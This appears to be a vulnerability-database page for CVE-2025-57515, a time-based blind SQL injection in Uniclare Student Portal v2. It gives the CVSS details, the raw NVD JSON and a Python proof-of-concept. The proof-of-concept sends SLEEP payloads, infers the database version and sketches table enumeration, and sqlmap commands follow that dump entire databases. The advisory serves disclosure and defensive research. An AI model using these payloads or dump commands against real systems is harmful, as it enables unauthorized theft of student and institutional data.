Security Vulnerability Report
中文
CVE-2025-57515 CVSS 9.8 CRITICAL

CVE-2025-57515

Published: 2025-10-06 18:15:52
Last Modified: 2026-04-15 00:35:42

Description

A SQL injection vulnerability has been identified in Uniclare Student Portal v2. This flaw allows remote attackers to inject arbitrary SQL commands via vulnerable input fields, enabling the execution of time-delay functions to infer database responses.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Uniclare Student Portal v2(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-57515 - Uniclare Student Portal v2 SQL Injection PoC # Vulnerability: Time-based Blind SQL Injection # Attack Vector: Network, No Authentication Required import requests import time TARGET_URL = "http://target-uniclare-portal.com/vulnerable_endpoint" INJECTION_PARAM = "input_field" # Replace with actual vulnerable parameter def test_sql_injection(url, param): """Test for time-based blind SQL injection vulnerability""" # Normal request baseline start_time = time.time() normal_response = requests.get(url, params={param: "test"}) normal_duration = time.time() - start_time print(f"[*] Normal response time: {normal_duration:.2f}s") # Time-based SQLi payload (MySQL SLEEP) payload_true = "test' AND SLEEP(5)-- -" start_time = time.time() sqli_response = requests.get(url, params={param: payload_true}) sqli_duration = time.time() - start_time print(f"[*] SQLi payload response time: {sqli_duration:.2f}s") if sqli_duration > normal_duration + 4: print("[+] VULNERABLE: Time-based SQL Injection confirmed!") return True else: print("[-] Not vulnerable or payload ineffective") return False def extract_database_info(url, param): """Extract database information using time-based blind SQLi""" # Example: Extract database version payload = "test' AND IF(SUBSTRING(@@version,1,1)='5', SLEEP(3), 0)-- -" start_time = time.time() requests.get(url, params={param: payload}) duration = time.time() - start_time if duration > 2: print("[+] Database version starts with '5' (MySQL 5.x)") # Example: Extract table names # payload = "test' AND IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>5, SLEEP(3), 0)-- -" return True if __name__ == "__main__": print("=" * 60) print("CVE-2025-57515 PoC - Uniclare Student Portal v2 SQLi") print("=" * 60) if test_sql_injection(TARGET_URL, INJECTION_PARAM): extract_database_info(TARGET_URL, INJECTION_PARAM) # Alternative: Using sqlmap # sqlmap -u "http://target/vulnerable_endpoint?input_field=test" --batch --dbs --random-agent # sqlmap -u "http://target/vulnerable_endpoint?input_field=test" --batch --dump-all --risk=3 --level=5

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57515", "sourceIdentifier": "[email protected]", "published": "2025-10-06T18:15:51.663", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A SQL injection vulnerability has been identified in Uniclare Student Portal v2. This flaw allows remote attackers to inject arbitrary SQL commands via vulnerable input fields, enabling the execution of time-delay functions to infer database responses."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://github.com/sanchitsahni/CVE-2025-57515/", "source": "[email protected]"}, {"url": "https://github.com/sanchitsahni/CVE-2025-57515/blob/main/Uniclare%20Student%20Portal%20v2.pdf", "source": "[email protected]"}]}}